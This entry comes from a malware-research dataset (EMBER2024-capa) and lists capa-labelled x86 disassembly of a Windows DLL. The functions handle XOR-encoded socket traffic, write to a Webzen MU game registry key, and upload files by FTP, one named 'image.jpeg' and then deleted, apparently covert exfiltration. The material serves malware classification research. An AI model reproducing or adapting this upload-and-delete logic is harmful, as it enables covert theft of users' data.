joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001080
Capabilities:
Hash data using crc32b

Disassembly:
push ebx
xor edx, edx
push edi
xor eax, eax
test dl, 1
je 0x10001090
mov eax, 0x80
mov ecx, edx
shr ecx, 1
test cl, 1
je 0x1000109c
or eax, 0x40
shr ecx, 1
test cl, 1
je 0x100010a6
or eax, 0x20
shr ecx, 1
test cl, 1
je 0x100010b0
or eax, 0x10
shr ecx, 1
test cl, 1
je 0x100010ba
or eax, 8
shr ecx, 1
test cl, 1
je 0x100010c4
or eax, 4
shr ecx, 1
test cl, 1
je 0x100010ce
or eax, 2
test cl, 2
je 0x100010d6
or eax, 1
shl eax, 0x18
mov ecx, eax
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
xor edi, edi
mov dword [esi + edx*4], ecx
mov eax, ecx
lea ecx, [edi + 0x1f]
jmp 0x10001190
test al, 1
je 0x1000119d
mov ebx, 1
shl ebx, cl
or edi, ebx
dec ecx
shr eax, 1
cmp ecx, 0xffffffff
jg 0x10001190
mov dword [esi + edx*4], edi
inc edx
cmp edx, 0xff
jle 0x10001084
pop edi
pop ebx
ret

Function at 0x100011c0
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
push 0x10016670
push eax
lea eax, [ebp - 0x408]
push eax
or esi, 0xffffffff
mov dword [ebp - 0x408], 0
call dword [sym.imp.MSVCR100.dll__wfopen_s]
add esp, 0xc
test eax, eax
je 0x10001212
or eax, 0xffffffff
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012ae4
mov esp, ebp
pop ebp
ret 8
push ebx
push edi
mov ecx, dword [ebp - 0x408]
push ecx
push 0x400
lea edx, [ebp - 0x404]
push 1
push edx
call dword [sym.imp.MSVCR100.dll_fread]
add esp, 0x10
mov ecx, eax
lea edx, [ebp - 0x404]
test eax, eax
je 0x1000125a
mov edi, edi
movzx ebx, byte [edx]
mov edi, esi
and edi, 0xff
xor edi, ebx
mov ebx, dword [ebp + 8]
shr esi, 8
xor esi, dword [ebx + edi*4]
inc edx
dec ecx
jne 0x10001240
cmp eax, 0x400
je 0x10001214
mov eax, dword [ebp - 0x408]
push eax
call dword [sym.imp.MSVCR100.dll_fclose]
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
mov eax, esi
pop ebx
xor ecx, ebp
not eax
pop esi
call fcn.10012ae4
mov esp, ebp
pop ebp
ret 8
Function at 0x100014b0
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x198]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x100014e9
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012ae4
mov esp, ebp
pop ebp
ret
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x10020e74], eax
cmp eax, 0xffffffff
je 0x100014d9
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [0x10020e78], eax
test eax, eax
je 0x100014d9
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [0x10120e84], 0x10003390
mov al, 1
call fcn.10012ae4
mov esp, ebp
pop ebp
ret

Function at 0x10001530
Capabilities:
Connect socket
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [0x10020e74], 0xffffffff
push esi
mov esi, ecx
jne 0x1000157c
push 0x10020060
call fcn.1000fa30
add esp, 4
push eax
push 0
mov ecx, 0x10121080
call fcn.10007320
add esp, 8
xor al, al
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10012ae4
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp + 8]
mov eax, 2
push ecx
mov word [ebp - 0x18], ax
call dword [sym.imp.WS2_32.dll_htons]
push esi
mov word [ebp - 0x16], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
jne 0x100015c4
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100015c4
movsx edx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
push edx
push ecx
lea edx, [ebp - 0x14]
push edx
call sub.MSVCR100.dll_memcpy
add esp, 0xc
mov ecx, dword [0x10020e74]
push 0x10
lea eax, [ebp - 0x18]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0xffffffff
jne 0x10001628
call esi
cmp eax, 0x2733
je 0x10001628
call esi
push eax
push 0x10020160
call fcn.1000fa30
add esp, 4
push eax
push 0
mov ecx, 0x10121080
call fcn.10007320
add esp, 0xc
mov esi, 0x10020e70
call fcn.100016c0
xor al, al
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10012ae4
mov esp, ebp
pop ebp
ret 4
mov edx, dword [0x10020e78]
mov eax, dword [0x10020e74]
push 0x23
push edx
push eax
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x1000164c
call esi
push eax
push 0x10020260
jmp 0x100015f3
push 0x80000
push 0
push 0x10020e7c
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x80000
push 0
push 0x100a0e80
mov dword [0x100a0e7c], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x1012c0dc
push 0
push 0x10020e70
push 0x10001bf0
push 0
push 0
mov dword [0x10120e80], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 8]
mov dword [0x10120ea4], eax
mov al, 1
xor ecx, ebp
mov byte [0x10120ea8], al
pop esi
call fcn.10012ae4
mov esp, ebp
pop ebp
ret 4
Function at 0x10001750
Capabilities:
Encode data using xor
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov esi, eax
mov eax, dword [esi + 0x8000c]
xor edi, edi
push edi
mov ecx, 0x80000
sub ecx, eax
push ecx
lea edx, [eax + esi + 0xc]
mov eax, dword [esi + 4]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x100017a0
mov edi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call edi
cmp eax, 0x2733
je 0x100018ca
call edi
push eax
push 0x10020360
jmp 0x10001912
add dword [esi + 0x8000c], eax
mov eax, dword [esi + 0x8000c]
cmp eax, 4
jl 0x100018ca
mov al, byte [esi + edi + 0xc]
lea edx, [esi + 0xc]
cmp al, 0xc1
jne 0x100017cb
movzx ebx, byte [edi + esi + 0xd]
mov cl, byte [edi + esi + 0xf]
jmp 0x100017ea
cmp al, 0xc2
jne 0x10001907
movzx ecx, byte [edi + esi + 0xd]
shl cx, 8
movzx ebx, cx
movzx ecx, byte [edi + esi + 0xe]
or ebx, ecx
mov cl, byte [edi + esi + 0x10]
cmp ebx, 4
jl 0x100018d3
cmp ebx, 0x80000
jg 0x100018d3
cmp ebx, dword [esi + 0x8000c]
jg 0x100018a1
cmp al, 0xc1
jne 0x1000183d
mov dl, byte [edi + esi + 0xe]
mov byte [ebp - 4], dl
lea edx, [ebx - 3]
xor eax, eax
lea ecx, [edi + esi + 0xf]
test edx, edx
jle 0x10001869
mov dl, byte [ecx + eax]
add dl, byte [ebp - 4]
lea ecx, [edi + esi + 0xf]
xor dl, 0xa0
mov byte [ecx + eax], dl
inc eax
lea edx, [ebx - 3]
cmp eax, edx
jl 0x10001823
jmp 0x10001869
mov cl, byte [edi + esi + 0xf]
lea edx, [ebx - 4]
xor eax, eax
mov byte [ebp - 4], cl
lea ecx, [edi + esi + 0x10]
test edx, edx
jle 0x10001869
mov dl, byte [ecx + eax]
add dl, byte [ebp - 4]
lea ecx, [edi + esi + 0x10]
xor dl, 0xa0
mov byte [ecx + eax], dl
inc eax
lea edx, [ebx - 4]
cmp eax, edx
jl 0x10001851
mov al, byte [ecx]
mov edx, dword [esi + 0x100014]
mov byte [ebp - 8], al
mov ecx, dword [ebp - 8]
push ebx
lea eax, [esi + edi + 0xc]
push eax
push ecx
call edx
sub dword [esi + 0x8000c], ebx
add esp, 0xc
add edi, ebx
cmp dword [esi + 0x8000c], 0
jg 0x100017b5
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
jle 0x100018ca
mov eax, dword [esi + 0x8000c]
test eax, eax
jle 0x100018ca
mov ecx, 0x80000
sub ecx, edi
cmp eax, ecx
jg 0x100018ca
push eax
lea eax, [edi + esi + 0xc]
push eax
push edx
call dword [sym.imp.MSVCR100.dll_memmove]
add esp, 0xc
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx ecx, cl
push ecx
movzx edx, al
push ebx
push edx
push 0x10020560
call fcn.1000fa30
add esp, 4
push eax
push 0
mov ecx, 0x10121080
call fcn.10007320
add esp, 0x14
call fcn.100016c0
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx eax, byte [edi + esi + 0xc]
push eax
push 0x10020460
call fcn.1000fa30
add esp, 4
push eax
push 0
mov ecx, 0x10121080
call fcn.10007320
add esp, 0xc
call fcn.100016c0
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001940
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8000c
call fcn.100134f0
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x10120e8c
mov esi, ecx
mov edi, edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [0x10020e74], 0xffffffff
je 0x10001a38
cmp byte [0x10120ea8], 0
je 0x10001a38
push esi
lea eax, [ebp - 0x80008]
push edi
push eax
call sub.MSVCR100.dll_memcpy
add esp, 0xc
xor eax, eax
cmp byte [ebp - 0x80008], 0xc1
jne 0x100019ca
mov cl, byte [ebp - 0x80006]
lea edi, [esi - 3]
test edi, edi
jle 0x100019f8
lea esp, [esp]
mov dl, byte [ebp + eax - 0x80005]
xor dl, 0xa0
sub dl, cl
mov byte [ebp + eax - 0x80005], dl
inc eax
cmp eax, edi
jl 0x100019b0
jmp 0x100019f8
mov cl, byte [ebp - 0x80005]
lea edi, [esi - 4]
test edi, edi
jle 0x100019f8
jmp 0x100019e0
mov dl, byte [ebp + eax - 0x80004]
xor dl, 0xa0
sub dl, cl
mov byte [ebp + eax - 0x80004], dl
inc eax
cmp eax, edi
jl 0x100019e0
mov eax, dword [0x10120e80]
test eax, eax
jle 0x10001a91
lea ecx, [eax + esi]
cmp ecx, 0x80000
jle 0x10001a56
push ecx
push 0x10020660
call fcn.1000fa30
add esp, 4
push eax
push 0
mov ecx, 0x10121080
call fcn.10007320
add esp, 0xc
mov esi, 0x10020e70
call fcn.100016c0
push 0x10120e8c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012ae4
mov esp, ebp
pop ebp
ret
push esi
lea ecx, [ebp - 0x80008]
push ecx
lea edx, [eax + 0x100a0e80]
push edx
call sub.MSVCR100.dll_memcpy
add esp, 0xc
add dword [0x10120e80], esi
push 0x10120e8c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10012ae4
mov esp, ebp
pop ebp
ret
xor edi, edi
test esi, esi
jle 0x10001a73
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [0x10020e74]
push 0
push esi
lea eax, [ebp + edi - 0x80008]
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x10001ac0
sub esi, eax
add edi, eax
test esi, esi
jg 0x10001a9d
jmp 0x10001a73
mov ebx, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call ebx
cmp eax, 0x2733
jne 0x10001aff
mov eax, dword [0x10120e80]
lea ecx, [eax + esi]
cmp ecx, 0x80000
jle 0x10001aea
push ecx
push 0x10020760
jmp 0x10001a16
push esi
lea edx, [ebp + edi - 0x80008]
push edx
lea eax, [eax + 0x100a0e80]
push eax
jmp 0x10001a65
call ebx
push eax
push 0x10020860
jmp 0x10001a16
Function at 0x10001b10
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
push edi
lea ebx, [esi + 0x10001c]
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edi, edi
cmp dword [esi + 0x100010], edi
jle 0x10001b69
lea ebx, [esi + 0x80010]
mov eax, dword [esi + 0x100010]
mov edx, dword [esi + 4]
push 0
push eax
lea ecx, [ebx + edi]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10001b79
sub dword [esi + 0x100010], eax
add edi, eax
cmp dword [esi + 0x100010], 0
jg 0x10001b39
mov ebx, dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10001bb2
mov eax, dword [esi + 0x100010]
push eax
lea ecx, [edi + esi + 0x80010]
push ecx
push ebx
call dword [sym.imp.MSVCR100.dll_memmove]
mov edx, dword [ebp - 4]
add esp, 0xc
push edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 0x10020960
call fcn.1000fa30
add esp, 4
push eax
push 0
mov ecx, 0x10121080
call fcn.10007320
add esp, 0xc
call fcn.100016c0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100024c0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push 0
push 0x20
push 3
push 0
push 1
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10002520
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esi + 8], eax
mov eax, dword [esi + 4]
test eax, eax
je 0x10002506
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
mov dword [esi + 4], 0
mov ecx, dword [esi + 8]
push ecx
call fcn.10012a30
add esp, 4
mov dword [esi + 4], eax
test eax, eax
jne 0x10002527
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 8]
push 0
lea edx, [ebp - 4]
push edx
push ecx
push eax
push edi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
test eax, eax
je 0x1000251a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x100027c0
Capabilities:
Check for time delay via gettickcount
Connect to http server
Create http request
Delete file
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x10126130], 0
push ebx
push esi
push edi
je 0x100028f1
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x10120fd0]
cmp eax, 0x927c0
jb 0x100027ff
call esi
mov dword [0x10120fd0], eax
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0
push 1
push 0x10126178
mov ebx, eax
movzx eax, word [0x10126154]
push 0x10126158
push eax
push 0x10126134
push ebx
call dword [sym.imp.WININET.dll_InternetConnectA]
lea ecx, [ebp - 0x120]
push ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0x11a]
movzx eax, word [ebp - 0x11e]
movzx ecx, word [ebp - 0x120]
push edx
push eax
push ecx
lea edx, [ebp - 0x110]
push str._04d__02d__02d
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x110]
push eax
push esi
call dword [sym.imp.WININET.dll_FtpCreateDirectoryA]
lea ecx, [ebp - 0x110]
push ecx
lea edi, [ebp - 0x13c]
call fcn.10002a20
mov eax, dword [ebp - 0x13c]
mov edi, 0x10
cmp dword [ebp - 0x128], edi
jae 0x100028aa
lea eax, [ebp - 0x13c]
push 0
push 2
push eax
push str.image.jpeg
push esi
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
je 0x100028cb
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
push str.image.jpeg
call dword [sym.imp.MSVCR100.dll_remove]
add esp, 4
cmp dword [ebp - 0x128], edi
jb 0x100028f1
mov edx, dword [ebp - 0x13c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012ae4
mov esp, ebp
pop ebp
ret
Function at 0x10002910
Capabilities:
Check for time delay via gettickcount
Connect to http server
Create http request
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
mov dword [ebp - 0x210], eax
call esi
sub eax, dword [0x10120fd0]
cmp eax, 0x927c0
jb 0x1000294a
call esi
mov dword [0x10120fd0], eax
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
movzx ecx, word [0x10126154]
push 0
push 0
push 1
push 0x10126178
push 0x10126158
push ecx
mov edi, eax
push 0x10126134
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edx, dword [str.Tools]
push 0xfe
mov esi, eax
mov ax, word [0x10016704]
lea ecx, [ebp - 0x102]
push 0
push ecx
mov dword [ebp - 0x108], edx
mov word [ebp - 0x104], ax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x108]
push edx
push esi
call dword [sym.imp.WININET.dll_FtpCreateDirectoryA]
mov eax, dword [ebp - 0x210]
push eax
lea ecx, [ebp - 0x108]
push ecx
push str._s__s
lea edx, [ebp - 0x20c]
push 0x104
push edx
call dword [sym.imp.MSVCR100.dll_sprintf_s]
add esp, 0x14
push 0
push 2
lea eax, [ebp - 0x20c]
push eax
push ebx
push esi
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
je 0x10002a0a
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10012ae4
mov esp, ebp
pop ebp
ret 4
Function at 0x10003300
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10120ff8]
cmp eax, 0x64
jle 0x10003321
mov eax, 1
jmp 0x10003322
inc eax
push eax
mov dword [0x10120ff8], eax
lea eax, [ebp - 0x28]
push 0x1001679c
push eax
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
lea ecx, [ebp - 0x2c]
push ecx
push 0xf003f
push 0
push str.SOFTWAREWebzenMuConfig
push getpeername
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000337b
push 0x24
lea edx, [ebp - 0x28]
push edx
push 1
push eax
mov eax, dword [ebp - 0x2c]
push str.VolumeEffect
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov al, 1
call fcn.10012ae4
mov esp, ebp
pop ebp
ret
Function at 0x100039a0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x100
push 0
push 0x1012c428
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + str.r_jc]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x1012c428], cl
inc eax
cmp eax, 0x100
jl 0x100039c0
mov esi, dword [ebp + 8]
movzx edx, word [esi + 6]
movzx eax, byte [esi + 8]
push edx
push eax
push 0x1012c428
push 0
mov ecx, 0x10121080
call fcn.10007320
movzx ecx, word [esi + 6]
add esp, 0x10
cmp byte [esi + 8], 0
mov dword [0x10126fd0], ecx
mov dword [ebp - 8], 0
jbe 0x10003ba5
mov edi, dword [0x10121028]
lea eax, [esi + 0xa]
mov esi, dword [0x10121024]
mov dword [ebp - 4], eax
cmp eax, edi
jae 0x10003aed
cmp esi, eax
ja 0x10003aed
mov ecx, eax
sub ecx, esi
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
cmp edi, dword [0x1012102c]
jne 0x10003ac6
mov ecx, edi
sub ecx, esi
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0x38e38e2
ja 0x10003bb6
mov edx, dword [0x1012102c]
sub edx, esi
mov eax, 0x38e38e39
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
inc ecx
add eax, edx
cmp ecx, eax
jbe 0x10003ac6
mov edx, eax
shr edx, 1
mov esi, 0x38e38e3
sub esi, edx
cmp esi, eax
jae 0x10003aa7
xor eax, eax
jmp 0x10003aa9
add eax, edx
cmp eax, ecx
jae 0x10003aaf
mov eax, ecx
push eax
mov ecx, 0x10121024
call fcn.10004ce0
mov edi, dword [0x10121028]
mov esi, dword [0x10121024]
lea edx, [ebx + ebx*8]
lea eax, [esi + edx*8]
test edi, edi
je 0x10003ae5
mov ecx, 0x12
mov esi, eax
rep movsd dword es:[edi], dword [esi]
mov edi, dword [0x10121028]
mov esi, dword [0x10121024]
mov eax, dword [ebp - 4]
jmp 0x10003b80
mov ebx, dword [0x1012102c]
cmp edi, ebx
jne 0x10003b67
mov ecx, edi
sub ecx, esi
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0x38e38e2
ja 0x10003bb6
mov edx, ebx
sub edx, esi
mov eax, 0x38e38e39
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
inc ecx
add eax, edx
cmp ecx, eax
jbe 0x10003b64
mov edx, eax
shr edx, 1
mov esi, 0x38e38e3
sub esi, edx
cmp esi, eax
jae 0x10003b45
xor eax, eax
jmp 0x10003b47
add eax, edx
cmp eax, ecx
jae 0x10003b4d
mov eax, ecx
push eax
mov ecx, 0x10121024
call fcn.10004ce0
mov edi, dword [0x10121028]
mov esi, dword [0x10121024]
mov eax, dword [ebp - 4]
test edi, edi
je 0x10003b80
mov ecx, 0x12
mov esi, eax
rep movsd dword es:[edi], dword [esi]
mov edi, dword [0x10121028]
mov esi, dword [0x10121024]
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 8]
add edi, 0x48
mov dword [0x10121028], edi
movzx edx, byte [edx + 8]
inc ecx
add eax, 0x48
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
cmp ecx, edx
jl 0x10003a28
pop edi
pop esi
mov dword [0x10126fbc], 1
pop ebx
mov esp, ebp
pop ebp
ret
push str.vector_T__too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3
Function at 0x10003bd0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x100
push 0
push 0x1012c428
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + 0x1001fa60]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x1012c428], cl
inc eax
cmp eax, 0x100
jl 0x10003bf0
mov esi, dword [ebp + 8]
movzx edx, word [esi + 6]
movzx eax, byte [esi + 8]
push edx
push eax
push 0x1012c428
push 0
mov ecx, 0x10121080
call fcn.10007320
movzx ecx, word [esi + 6]
add esp, 0x10
cmp byte [esi + 8], 0
mov dword [0x10126fd4], ecx
mov dword [ebp - 8], 0
jbe 0x10003dc9
mov ebx, dword [0x10121038]
lea ecx, [esi + 0xa]
mov esi, dword [0x10121034]
mov dword [ebp - 4], ecx
cmp ecx, ebx
jae 0x10003d08
cmp esi, ecx
ja 0x10003d08
sub ecx, esi
mov eax, 0x3e0f83e1
imul ecx
sar edx, 6
mov edi, edx
shr edi, 0x1f
add edi, edx
cmp ebx, dword [0x1012103c]
jne 0x10003cf4
mov ecx, ebx
sub ecx, esi
mov eax, 0x3e0f83e1
imul ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0xf83e0e
ja 0x10003dda
mov edx, dword [0x1012103c]
sub edx, esi
mov eax, 0x3e0f83e1
imul edx
sar edx, 6
mov eax, edx
shr eax, 0x1f
inc ecx
add eax, edx
cmp ecx, eax
jbe 0x10003cf4
mov edx, eax
shr edx, 1
mov esi, 0xf83e0f
sub esi, edx
cmp esi, eax
jae 0x10003cd5
xor eax, eax
jmp 0x10003cd7
add eax, edx
cmp eax, ecx
jae 0x10003cdd
mov eax, ecx
push eax
mov ecx, 0x10121034
call fcn.10004dd0
mov ebx, dword [0x10121038]
mov esi, dword [0x10121034]
imul edi, edi, 0x108
add edi, esi
test ebx, ebx
je 0x10003d9b
mov esi, edi
jmp 0x10003d86
mov edi, dword [0x1012103c]
cmp ebx, edi
jne 0x10003d7f
mov ecx, ebx
sub ecx, esi
mov eax, 0x3e0f83e1
imul ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0xf83e0e
ja 0x10003dda
mov edx, edi
sub edx, esi
mov eax, 0x3e0f83e1
imul edx
sar edx, 6
mov eax, edx
shr eax, 0x1f
inc ecx
add eax, edx
cmp ecx, eax
jbe 0x10003d7f
mov edx, eax
shr edx, 1
mov esi, 0xf83e0f
sub esi, edx
cmp esi, eax
jae 0x10003d60
xor eax, eax
jmp 0x10003d62
add eax, edx
cmp eax, ecx
jae 0x10003d68
mov eax, ecx
push eax
mov ecx, 0x10121034
call fcn.10004dd0
mov ebx, dword [0x10121038]
mov esi, dword [0x10121034]
test ebx, ebx
je 0x10003d9b
mov esi, dword [ebp - 4]
mov edi, ebx
mov ecx, 0x42
rep movsd dword es:[edi], dword [esi]
mov ebx, dword [0x10121038]
mov esi, dword [0x10121034]
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
add ebx, 0x108
mov dword [0x10121038], ebx
movzx edx, byte [edx + 8]
inc eax
add ecx, 0x108
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
cmp eax, edx
jl 0x10003c58
pop edi
pop esi
mov dword [0x10126fc0], 1
pop ebx
mov esp, ebp
pop ebp
ret
push str.vector_T__too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3